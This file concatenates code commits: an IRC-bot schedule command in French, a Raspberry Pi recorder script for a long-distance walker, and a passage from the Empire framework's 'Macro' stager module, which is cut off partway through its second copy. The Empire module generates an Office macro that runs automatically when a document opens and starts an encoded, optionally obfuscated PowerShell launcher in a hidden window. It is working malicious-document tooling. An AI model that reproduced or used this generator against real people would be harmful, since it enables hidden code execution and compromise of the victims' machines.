def get_next_courses(classe=None, room=None, teacher=None, date=None):
    courses = get_courses(classe, room, teacher, date)
    now = datetime.now()
    for c in courses:
        start = c.getFirstNode("start").getDate()

        if now > start:
            return c
    return None

def get_near_courses(classe=None, room=None, teacher=None, date=None):
    courses = get_courses(classe, room, teacher, date)
    return courses[0]

def cmd_chronos(msg):
    if len(msg.cmds) > 1:
        classe = msg.cmds[1]
    else:
        classe = ""

    res = Response(msg.sender, channel=msg.channel, nomore="Je n'ai pas d'autre cours à afficher")

    courses = get_courses(classe)
    if courses is not None:
        now = datetime.now()
        tomorrow = now + timedelta(days=1)
        for c in courses:
            idc      = c.getFirstNode("id").getContent()
            crs      = c.getFirstNode("title").getContent()
            start    = c.getFirstNode("start").getDate()
            end      = c.getFirstNode("end").getDate()
            where    = c.getFirstNode("where").getContent()
            teacher  = c.getFirstNode("teacher").getContent()
            students = c.getFirstNode("students").getContent()

            if now > start:
                title = "Actuellement "
                msg = "\x03\x02" + crs + "\x03\x02 jusqu'"
                if end < tomorrow:
                    msg += "à \x03\x02" + end.strftime("%H:%M")
                else:
                    msg += "au \x03\x02" + end.strftime("%a %d à %H:%M")
                msg += "\x03\x02 en \x03\x02" + where + "\x03\x02"
            else:
                title = "Prochainement "
                duration = (end - start).total_seconds() / 60

                msg = "\x03\x02" + crs + "\x03\x02 le \x03\x02" + end.strftime("%a %d à %H:%M") + "\x03\x02 pour " + "%dh%02d" % (int(duration / 60), duration % 60) + " en \x03\x02" + where + "\x03\x02"

            if teacher != "":
                msg += " avec " + teacher
            if students != "":
                msg += " pour les " + students

            res.append_message(msg, title)
    else:
        res.append_message("Aucun cours n'a été trouvé")

    return res
<|endoftext|>


<commit_before>#!/usr/bin/python
# Raspberry Pi based system for recording and transmitting data from a lone long distance walker.
# Being built for http://thelongwellwalk.org/

#Import the supporting code we need
import picamera         # Controlling the Camera
import time             # Time and Date functions
import os               # Operating system information and functions
import io               # Input and Output (Files and streams))
import RPi.GPIO as GPIO # Controls the GPIO for LEDs and Buttons
import sys
import getopt
import alsaaudio

#Config
tl_target = 60          # How long between each Timelapse shot
buffer_length = 15      # How many seconds worth of video do we keep in the buffer
debug = True            # Do we print out debugging messages
f_favail_limit = 20000  # How much disk space is too little space (measured in blocks)

duration_step = 1
duration_timelapse = 60

next_step = 1
next_timelapse = 60

cycle_wait = 0.001

poweroffclicktarget = 6
poweroffclickstep = 2
powerclickcount = 0

videosizelimit = 20000
audiosizelimit = 10000
sizewarning    = 50000

loadavglimit = 1.25

#Where are files stored
outputbasedir =  os.path.expanduser('/home/pi/BPOA/')

#GPIO Config
# Which GPIO pin does what job
videobutton = 11        # Video (currently rigged as momentary switch)
audiobutton = 12        # Audio (no code so far)
poweroffbutton = 12        # Poweroff button (can be same as audio)

statusLED_R = 18          # Red LED, short wire on own
statusLED_G = 16          # Green LED middle length wire
statusLED_B = 15          # Blue LED short wire next to middle length
#The GND wire is the longest and is wired through a switch so it only shows when pressed

GPS_TXD     = 8
GPS_RXD     = 10

# Status variables
videorecording = False  # Are we currently recording video
audiorecording = False  # Are we currently recording audio
tl_count  = 55          # Starting Timelapse count 55 means it will take 5 seconds to do first timlapse
loadlimitbreached = False
videosizelimitreached = False
audiosizelimitreached = False
sizewarningreached = False
transferring = False

# Functions

# Work out the file name based on the current time and file type
def getFileName(curtime, ext):
    name = time.strftime("%Y-%m-%d-%H-%M-%S", curtime)+"."+ext
    return name

# Work out the file folder based on the current time and file type
def getFolderName(curtime, ext):
    name = outputbasedir+ext+'/'+time.strftime('%Y-%m/%d/%H/', curtime)
    # if the folder doesn't exist make it
    if not os.path.exists(name):
        os.makedirs(name)
    return name

def output_mode():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring

    # Mode lights
    # TODO : Status - Off = Not running
    # TODO : Status -Red = Disk space too low, audio & video will not record

    if audiosizelimitreached:
        if (debug):
            print("audiosizelimitreached Red =", audiosizelimitreached)
        GPIO.output( statusLED_R, False)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, True)

    elif videorecording:
        #print("videorecording blue?=", videorecording)
        # TODO : Status -Blue = Video recording
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, False)

    elif audiorecording:
        #print("audiorecording cyan?=", audiorecording)
        # TODO : Status -cyan = Audio recording
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, False)
        GPIO.output( statusLED_B, False)

    else:
        # DONE : Status -green = Timelapse mode
        #print("timelapse should be green")
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, False)
        GPIO.output( statusLED_B, True)

# Change the output LEDs to show Liam what is going on
# TODO : #31 LED Output Codes
def output_status():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring

    if (tl_count % 20) == 0:
        if (debug):

            print("videorecording blue?=", videorecording)
            print("audiorecording cyan?=", audiorecording)

            print("Output status:-")
            print("transferring =", transferring)
            print("videosizelimitreached =", videosizelimitreached)
            print("audiosizelimitreached =", audiosizelimitreached)
            print("sizewarningreached =", sizewarningreached)
            print("loadlimitbreached =", loadlimitbreached)

    if (tl_count % 2):
        if transferring:
            # TODO : Status -Flashing white = Transferring
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, False)
            GPIO.output( statusLED_B, False)

        elif videosizelimitreached:
            # TODO : Status -Flashing Yellow = Disk space getting low
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, True)
            GPIO.output( statusLED_B, True)

        elif sizewarningreached:
            # TODO : Status -Flashing Red = Disk space too low, video will not record
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, False)
            GPIO.output( statusLED_B, True)

        elif loadlimitbreached:
            # TODO : Status -Flashing Magenta = CPU too stressed
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, True)
            GPIO.output( statusLED_B, False)

        else:
            output_mode()
    else:
            output_mode()

# Take a timelapse shot
def dotimelapse():
    if not audiosizelimitreached:
        stillnow = time.gmtime()
        stillname = getFolderName(stillnow,'jpg')+getFileName(stillnow,'jpg')

        camera.capture(stillname, use_video_port=True)
        if (debug):
            print("still "+stillname)

def write_video(stream):
    # Write the entire content of the circular buffer to disk. No need to
    # lock the stream here as we're definitely not writing to it
    # simultaneously
    then = time.gmtime(time.time() - buffer_length)
    videoname = getFolderName(then,'h264')+getFileName(then,'h264')

    if (debug):
        print("buffer video writing "+videoname)

    with io.open(videoname, 'wb') as output:
        for frame in stream.frames:
            if frame.header:
                stream.seek(frame.position)
                break
        while True:
            buf = stream.read1()
            if not buf:
                break
            output.write(buf)
    # Wipe the circular stream once we're done
    stream.seek(0)
    stream.truncate()
    if (debug):
        print("buffer video ending "+videoname)

def checkstatus():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring
    # Have we run out of disk space
    stats = os.statvfs(outputbasedir)

    videosizelimitreached = stats.f_bfree < videosizelimit

    audiosizelimitreached = stats.f_bfree < audiosizelimit
    sizewarningreached    = stats.f_bfree < sizewarning

    loadavg, loadavg5, loadavg15 = os.getloadavg()
    loadlimitbreached = loadavg>loadavglimit

    if (debug):
        print("Checkstatus:-")
        print("stats.f_bfree =", stats.f_bfree)
        print("videosizelimitreached =", videosizelimitreached)
        print("audiosizelimitreached =", audiosizelimitreached)
        print("sizewarningreached =", sizewarningreached)
        print("loadavg =", loadavg)
        print("loadlimitbreached =", loadlimitbreached)

#Main Code Starts here

# GPIO setup
GPIO.cleanup()
GPIO.setmode(GPIO.BOARD) # Use the standard RPi pin numbers
GPIO.setup(videobutton,  GPIO.IN, pull_up_down=GPIO.PUD_DOWN)   # Set as Input which is usually off
GPIO.setup(audiobutton, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)    # Set as Input which is usually off

if not poweroffbutton == audiobutton:
    GPIO.setup(poweroffbutton, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)    # Set as Input which is usually off

GPIO.setup(statusLED_R, GPIO.OUT)   # Set as Output
GPIO.setup(statusLED_G, GPIO.OUT)   # Set as Output
GPIO.setup(statusLED_B, GPIO.OUT)   # Set as Output

if (debug):
    print("backback started")

#start audio

# Open the device in nonblocking capture mode. The last argument could
# just as well have been zero for blocking mode. Then we could have
# left out the sleep call in the bottom of the loop

alsacards = alsaaudio.cards()
if (debug):
    print("alsacards =", alsacards)

secondcard = alsacards[1]

card = secondcard #'CODEC'
inp = alsaaudio.PCM(alsaaudio.PCM_CAPTURE, alsaaudio.PCM_NONBLOCK, card)

# Set attributes: Mono, 44100 Hz, 16 bit little endian samples
inp.setchannels(1)
inp.setrate(16000)
inp.setformat(alsaaudio.PCM_FORMAT_S16_LE)

# The period size controls the internal number of frames per period.
# The significance of this parameter is documented in the ALSA api.
# For our purposes, it is suficcient to know that reads from the device
# will return this many frames. Each frame being 2 bytes long.
# This means that the reads below will return either 320 bytes of data
# or 0 bytes of data. The latter is possible because we are in nonblocking
# mode.
inp.setperiodsize(160)
audiorecording = True
now = time.gmtime()
videoname = getFolderName(now,'h264')+getFileName(now,'h264')

audiofilename = getFolderName(now,'wav')+getFileName(now,'wav')
audiofile = open(audiofilename, 'wb')
#inp.pause()

with picamera.PiCamera() as camera:
    # Start up the Camera
    camera.resolution = (1920, 1080)   #1080P Full HD 1920x1080
    #camera.resolution = (1280, 720)     #720P HD 1280x720
    camera.framerate = 25
    stream = picamera.PiCameraCircularIO(camera, seconds=buffer_length)
    camera.start_recording(stream, format='h264')

    duration_step = 1
    duration_timelapse = 60
    duration_first_timelapse = 5

    current_time = time.clock()
    next_step = current_time + duration_step
    next_timelapse = current_time + duration_first_timelapse

    # Have we run out of disk space
    checkstatus()
    output_status()

    GPIO.add_event_detect(videobutton, GPIO.BOTH)  # Start listening out for button presses
    GPIO.add_event_detect(audiobutton, GPIO.BOTH)  # Start listening out for button presses
    if not poweroffbutton == audiobutton:
        GPIO.add_event_detect(poweroffbutton, GPIO.BOTH)  # Start listening out for button presses

    try:
        while True:
            # TODO : Move to 0.001 change the tick and timelapse to times
            camera.wait_recording(cycle_wait)    # Pause in loop
            current_time =  time.clock()

            #audio stuff
            if audiorecording:
                l, data = inp.read()
                if l:
                    audiofile.write(data)

            #visual stuff
            if(current_time >= next_step):
                next_step = current_time + duration_step

                if(current_time >= next_timelapse):
                    # Is it time to take a timelapse shot
                    tl_count = tl_count + 1
                    if (tl_count >= tl_target):
                        tl_count = 0

                    dotimelapse()
                    next_timelapse = current_time + duration_timelapse
                    # Have we run out of disk space
                    checkstatus()

                couldbeaudio = False
                if GPIO.event_detected(poweroffbutton):
                    if audiobutton == poweroffbutton:
                        couldbeaudio = True
                    powerclickcount = powerclickcount + poweroffclickstep
                    if (debug):
                        print("powerclickcount =", powerclickcount)

                elif powerclickcount > 0:
                    powerclickcount = powerclickcount - 1

                if powerclickcount >= poweroffclicktarget:
                    if (debug):
                        print ("Power off triggered stopping")

                    GPIO.output( statusLED_R, False)
                    GPIO.output( statusLED_G, True)
                    GPIO.output( statusLED_B, True)

                    camera.split_recording(stream)
                    videorecording = False

                    os.system("sudo shutdown -F -h -t 30 now") #not sure about the -F which forces fsck on next boot
                    sys.exit()

                # Have we run out whilst recording video
                if audiosizelimitreached and audiorecording:
                    inp.pause()
                    audiofile.close()
                    audiorecording = False
                    if (debug):
                        print ("limit breached audio stopping")

                if GPIO.event_detected(audiobutton) or couldbeaudio:
                    # TODO :34 Audio
                    # this is the audio blog button
                    if (debug):
                        print('Audio Button Pressed!')

                        if audiorecording:
                            if (not videorecording) and (not audiosizelimitreached):
                                inp.pause()
                                audiofile.close()
                                audiorecording = False

                        else:
                            now = time.gmtime()
                            audiofilename = getFolderName(now,'wav')+getFileName(now,'wav')
                            audiofile = open(audiofilename, 'wb')
                            #inp.pause(0)

                # Have we run out whilst recording video
                if videosizelimitreached and videorecording:
                    camera.split_recording(stream)
                    inp.pause()
                    audiofile.close()
                    audiorecording = False

                    videorecording = False
                    if (debug):
                        print ("limit breached video stopping")

                # Has the video button been pressed?
                if GPIO.event_detected(videobutton) and not videosizelimitreached:
                    if (debug):
                        print('Video Button Clicked!')

                    # If we are recording stop recording
                    if videorecording:
                        if (debug):
                            print('Button pressed to stop ')
                        # Go back to recording to the ring buffer not the file
                        camera.split_recording(stream)
                        videorecording = False
                        inp.pause()
                        audiofile.close()
                        audiorecording = False

                        if (debug):
                            print("button video ending "+videoname)
                    else:
                        videorecording = True
                        output_mode()
                        # What should the video be called
                        now = time.gmtime()
                        videoname = getFolderName(now,'h264')+getFileName(now,'h264')

                        audiofilename = getFolderName(now,'wav')+getFileName(now,'wav')
                        audiofile = open(audiofilename, 'wb')
                        inp.pause(0)

                        if (debug):
                            print("button video starting "+videoname)

                        # Send video to the file
                        camera.split_recording(videoname)

                        # TODO : #34 Audio Recording
                        # TODO : the video triggers the wide angle audio
                        # TODO : workout if we can have an audio ring buffer

                        # Save the ring buffer to the disk
                        write_video(stream)

                # Set the output lights
                output_status()

    finally:
        # Tidy up when the program stops
        camera.stop_recording()
        if (debug):
            print("stopping ending ")
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, True)
        GPIO.cleanup()

<commit_msg>adds todo tags<commit_after>#!/usr/bin/python
# Raspberry Pi based system for recording and transmitting data from a lone long distance walker.
# Being built for http://thelongwellwalk.org/

#Import the supporting code we need
import picamera         # Controlling the Camera
import time             # Time and Date functions
import os               # Operating system information and functions
import io               # Input and Output (Files and streams))
import RPi.GPIO as GPIO # Controls the GPIO for LEDs and Buttons
import sys
import getopt

#Config
tl_target = 60          # How long between each Timelapse shot
buffer_length = 15      # How many seconds worth of video do we keep in the buffer
debug = True            # Do we print out debugging messages
f_favail_limit = 20000  # How much disk space is too little space (measured in blocks)

duration_step = 1
duration_timelapse = 60

next_step = 1
next_timelapse = 60

cycle_wait = 0.001

poweroffclicktarget = 6
poweroffclickstep = 2
powerclickcount = 0

videosizelimit = 20000
audiosizelimit = 10000
sizewarning    = 50000

loadavglimit = 1.25

#Where are files stored
outputbasedir =  os.path.expanduser('/home/pi/BPOA/')

#GPIO Config
# Which GPIO pin does what job
videobutton = 11        # Video (currently rigged as momentary switch)
audiobutton = 12        # Audio (no code so far)
poweroffbutton = 12        # Poweroff button (can be same as audio)

statusLED_R = 18          # Red LED, short wire on own
statusLED_G = 16          # Green LED middle length wire
statusLED_B = 15          # Blue LED short wire next to middle length
#The GND wire is the longest and is wired through a switch so it only shows when pressed

GPS_TXD     = 8
GPS_RXD     = 10

# Status variables
videorecording = False  # Are we currently recording video
audiorecording = False  # Are we currently recording audio
tl_count  = 55          # Starting Timelapse count 55 means it will take 5 seconds to do first timlapse
loadlimitbreached = False
videosizelimitreached = False
audiosizelimitreached = False
sizewarningreached = False
transferring = False

# Functions

# Work out the file name based on the current time and file type
def getFileName(curtime, ext):
    name = time.strftime("%Y-%m-%d-%H-%M-%S", curtime)+"."+ext
    return name

# Work out the file folder based on the current time and file type
def getFolderName(curtime, ext):
    name = outputbasedir+ext+'/'+time.strftime('%Y-%m/%d/%H/', curtime)
    # if the folder doesn't exist make it
    if not os.path.exists(name):
        os.makedirs(name)
    return name

def output_mode():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring

    # Mode lights
    # TODO : Status - Off = Not running
    # TODO : Status -Red = Disk space too low, audio & video will not record

    if audiosizelimitreached:
        if (debug):
            print("audiosizelimitreached Red =", audiosizelimitreached)
        GPIO.output( statusLED_R, False)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, True)

    elif videorecording:
        #print("videorecording blue?=", videorecording)
        # TODO : Status -Blue = Video recording
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, False)

    elif audiorecording:
        #print("audiorecording cyan?=", audiorecording)
        # TODO : Status -cyan = Audio recording
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, False)
        GPIO.output( statusLED_B, False)

    else:
        # DONE : Status -green = Timelapse mode
        #print("timelapse should be green")
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, False)
        GPIO.output( statusLED_B, True)

# Change the output LEDs to show Liam what is going on
# TODO : #31 LED Output Codes
def output_status():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring

    if (tl_count % 20) == 0:
        if (debug):

            print("videorecording blue?=", videorecording)
            print("audiorecording cyan?=", audiorecording)

            print("Output status:-")
            print("transferring =", transferring)
            print("videosizelimitreached =", videosizelimitreached)
            print("audiosizelimitreached =", audiosizelimitreached)
            print("sizewarningreached =", sizewarningreached)
            print("loadlimitbreached =", loadlimitbreached)

    if (tl_count % 2):
        if transferring:
            # TODO : Status -Flashing white = Transferring
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, False)
            GPIO.output( statusLED_B, False)

        elif videosizelimitreached:
            # TODO : Status -Flashing Yellow = Disk space getting low
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, True)
            GPIO.output( statusLED_B, True)

        elif sizewarningreached:
            # TODO : Status -Flashing Red = Disk space too low, video will not record
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, False)
            GPIO.output( statusLED_B, True)

        elif loadlimitbreached:
            # TODO : Status -Flashing Magenta = CPU too stressed
            GPIO.output( statusLED_R, False)
            GPIO.output( statusLED_G, True)
            GPIO.output( statusLED_B, False)

        else:
            output_mode()
    else:
            output_mode()

# Take a timelapse shot
def dotimelapse():
    if not audiosizelimitreached:
        stillnow = time.gmtime()
        stillname = getFolderName(stillnow,'jpg')+getFileName(stillnow,'jpg')

        camera.capture(stillname, use_video_port=True)
        if (debug):
            print("still "+stillname)

def write_video(stream):
    # Write the entire content of the circular buffer to disk. No need to
    # lock the stream here as we're definitely not writing to it
    # simultaneously
    then = time.gmtime(time.time() - buffer_length)
    videoname = getFolderName(then,'h264')+getFileName(then,'h264')

    if (debug):
        print("buffer video writing "+videoname)

    with io.open(videoname, 'wb') as output:
        for frame in stream.frames:
            if frame.header:
                stream.seek(frame.position)
                break
        while True:
            buf = stream.read1()
            if not buf:
                break
            output.write(buf)
    # Wipe the circular stream once we're done
    stream.seek(0)
    stream.truncate()
    if (debug):
        print("buffer video ending "+videoname)

def checkstatus():
    global videorecording, audiorecording, tl_count, loadlimitbreached, videosizelimitreached, audiosizelimitreached, sizewarningreached, transferring
    # Have we run out of disk space
    stats = os.statvfs(outputbasedir)

    videosizelimitreached = stats.f_bfree < videosizelimit

    audiosizelimitreached = stats.f_bfree < audiosizelimit
    sizewarningreached    = stats.f_bfree < sizewarning

    loadavg, loadavg5, loadavg15 = os.getloadavg()
    loadlimitbreached = loadavg>loadavglimit

    if (debug):
        print("Checkstatus:-")
        print("stats.f_bfree =", stats.f_bfree)
        print("videosizelimitreached =", videosizelimitreached)
        print("audiosizelimitreached =", audiosizelimitreached)
        print("sizewarningreached =", sizewarningreached)
        print("loadavg =", loadavg)
        print("loadlimitbreached =", loadlimitbreached)

#Main Code Starts here

# GPIO setup
GPIO.cleanup()
GPIO.setmode(GPIO.BOARD) # Use the standard RPi pin numbers
GPIO.setup(videobutton,  GPIO.IN, pull_up_down=GPIO.PUD_DOWN)   # Set as Input which is usually off
GPIO.setup(audiobutton, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)    # Set as Input which is usually off

if not poweroffbutton == audiobutton:
    GPIO.setup(poweroffbutton, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)    # Set as Input which is usually off

GPIO.setup(statusLED_R, GPIO.OUT)   # Set as Output
GPIO.setup(statusLED_G, GPIO.OUT)   # Set as Output
GPIO.setup(statusLED_B, GPIO.OUT)   # Set as Output

if (debug):
    print("backback started")

#start audio

# Open the device in nonblocking capture mode. The last argument could
# just as well have been zero for blocking mode. Then we could have
# left out the sleep call in the bottom of the loop

alsacards = alsaaudio.cards()
if (debug):
    print("alsacards =", alsacards)

secondcard = alsacards[1]

card = secondcard #'CODEC'

with picamera.PiCamera() as camera:
    # Start up the Camera
    camera.resolution = (1920, 1080)   #1080P Full HD 1920x1080
    #camera.resolution = (1280, 720)     #720P HD 1280x720
    camera.framerate = 25
    stream = picamera.PiCameraCircularIO(camera, seconds=buffer_length)
    camera.start_recording(stream, format='h264')

    duration_step = 1
    duration_timelapse = 60
    duration_first_timelapse = 5

    current_time = time.clock()
    next_step = current_time + duration_step
    next_timelapse = current_time + duration_first_timelapse

    # Have we run out of disk space
    checkstatus()
    output_status()

    GPIO.add_event_detect(videobutton, GPIO.BOTH)  # Start listening out for button presses
    GPIO.add_event_detect(audiobutton, GPIO.BOTH)  # Start listening out for button presses
    if not poweroffbutton == audiobutton:
        GPIO.add_event_detect(poweroffbutton, GPIO.BOTH)  # Start listening out for button presses

    try:
        while True:
            # TODO : Move to 0.001 change the tick and timelapse to times
            camera.wait_recording(cycle_wait)    # Pause in loop
            current_time =  time.clock()

            #visual stuff
            if(current_time >= next_step):
                next_step = current_time + duration_step

                if(current_time >= next_timelapse):
                    # Is it time to take a timelapse shot
                    tl_count = tl_count + 1
                    if (tl_count >= tl_target):
                        tl_count = 0

                    dotimelapse()
                    next_timelapse = current_time + duration_timelapse
                    # Have we run out of disk space
                    checkstatus()

                couldbeaudio = False
                if GPIO.event_detected(poweroffbutton):
                    if audiobutton == poweroffbutton:
                        couldbeaudio = True
                    powerclickcount = powerclickcount + poweroffclickstep
                    if (debug):
                        print("powerclickcount =", powerclickcount)

                elif powerclickcount > 0:
                    powerclickcount = powerclickcount - 1

                if powerclickcount >= poweroffclicktarget:
                    if (debug):
                        print ("Power off triggered stopping")

                    GPIO.output( statusLED_R, False)
                    GPIO.output( statusLED_G, True)
                    GPIO.output( statusLED_B, True)

                    camera.split_recording(stream)
                    videorecording = False

                    os.system("sudo shutdown -F -h -t 30 now") #not sure about the -F which forces fsck on next boot
                    sys.exit()

                # Have we run out whilst recording video
                if audiosizelimitreached and audiorecording:
                    # TODO : Stop recording
                    audiorecording = False
                    if (debug):
                        print ("limit breached audio stopping")

                if GPIO.event_detected(audiobutton) or couldbeaudio:
                    # TODO :34 Audio
                    # this is the audio blog button
                    if (debug):
                        print('Audio Button Pressed!')

                        if audiorecording:
                            if (not videorecording) and (not audiosizelimitreached):
                                # TODO : Stop recording
                                audiorecording = False

                        else:
                            now = time.gmtime()
                            # TODO : Start recording
                            audiofilename = getFolderName(now,'wav')+getFileName(now,'wav')
                            audiofile = open(audiofilename, 'wb')
                            #inp.pause(0)

                # Have we run out whilst recording video
                if videosizelimitreached and videorecording:
                    camera.split_recording(stream)
                    inp.pause()
                    audiofile.close()
                    audiorecording = False

                    videorecording = False
                    if (debug):
                        print ("limit breached video stopping")

                # Has the video button been pressed?
                if GPIO.event_detected(videobutton) and not videosizelimitreached:
                    if (debug):
                        print('Video Button Clicked!')

                    # If we are recording stop recording
                    if videorecording:
                        if (debug):
                            print('Button pressed to stop ')
                        # Go back to recording to the ring buffer not the file
                        camera.split_recording(stream)
                        videorecording = False
                        inp.pause()
                        audiofile.close()
                        audiorecording = False

                        if (debug):
                            print("button video ending "+videoname)
                    else:
                        videorecording = True
                        output_mode()
                        # What should the video be called
                        now = time.gmtime()
                        videoname = getFolderName(now,'h264')+getFileName(now,'h264')

                        audiofilename = getFolderName(now,'wav')+getFileName(now,'wav')
                        # TODO : Start recording audio

                        if (debug):
                            print("button video starting "+videoname)

                        # Send video to the file
                        camera.split_recording(videoname)

                        # TODO : #34 Audio Recording
                        # TODO : the video triggers the wide angle audio
                        # TODO : workout if we can have an audio ring buffer

                        # Save the ring buffer to the disk
                        write_video(stream)

                # Set the output lights
                output_status()

    finally:
        # Tidy up when the program stops
        camera.stop_recording()
        if (debug):
            print("stopping ending ")
        GPIO.output( statusLED_R, True)
        GPIO.output( statusLED_G, True)
        GPIO.output( statusLED_B, True)
        GPIO.cleanup()

<|endoftext|>


<commit_before>from lib.common import helpers
import random, string

class Stager:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Macro',

            'Author': ['@enigma0x3', '@harmj0y'],

            'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),

            'Comments': [
                'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
            ]
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Language' : {
                'Description'   :   'Language of the stager to generate.',
                'Required'      :   True,
                'Value'         :   'powershell'
            },
            'StagerRetries' : {
                'Description'   :   'Times for the stager to retry connecting.',
                'Required'      :   False,
                'Value'         :   '0'
            },
            'OutFile' : {
                'Description'   :   'File to output macro to, otherwise displayed on the screen.',
                'Required'      :   False,
                'Value'         :   '/tmp/macro'
            },
            'Obfuscate' : {
                'Description'   :   'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
                'Required'      :   False,
                'Value'         :   'False'
            },
            'ObfuscateCommand' : {
                'Description'   :   'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
                'Required'      :   False,
                'Value'         :   r'Token\All\1,Launcher\STDIN++\12467'
            },
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    def generate(self):

        # extract all of our options
        language = self.options['Language']['Value']
        listenerName = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        obfuscate = self.options['Obfuscate']['Value']
        obfuscateCommand = self.options['ObfuscateCommand']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']

        obfuscateScript = False
        if obfuscate.lower() == "true":
            obfuscateScript = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
        Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
        Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))

        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
            chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50))
            payload = "\tDim "+Str+" As String\n"
            payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n"
            for chunk in chunks[1:]:
                payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n"

            macro = "Sub Auto_Open()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"
            macro += "Sub AutoOpen()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"

            macro += "Sub Document_Open()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"

            macro += "Public Function "+Method+"() As Variant\n"
            macro += payload
            macro += "\tConst HIDDEN_WINDOW = 0\n"
            macro += "\tstrComputer = \".\"\n"
            macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
            macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
            macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
            macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
            macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
            macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
            macro += "End Function\n"

            return macro
<commit_msg>fix quotes<commit_after>from lib.common import helpers
import random, string

class Stager:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Macro',

            'Author': ['@enigma0x3', '@harmj0y'],

            'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),

            'Comments': [
                'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
            ]
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Language' : {
                'Description'   :   'Language of the stager to generate.',
                'Required'      :   True,
                'Value'         :   'powershell'
            },
            'StagerRetries' : {
                'Description'   :   'Times for the stager to retry connecting.',
                'Required'      :   False,
                'Value'         :   '0'
            },
            'OutFile' : {
                'Description'   :   'File to output macro to, otherwise displayed on the screen.',
                'Required'      :   False,
                'Value'         :   '/tmp/macro'
            },
            'Obfuscate' : {
                'Description'   :   'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
                'Required'      :   False,
                'Value'         :   'False'
            },
            'ObfuscateCommand' : {
                'Description'   :   'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
                'Required'      :   False,
                'Value'         :   r'Token\All\1,Launcher\STDIN++\12467'
            },
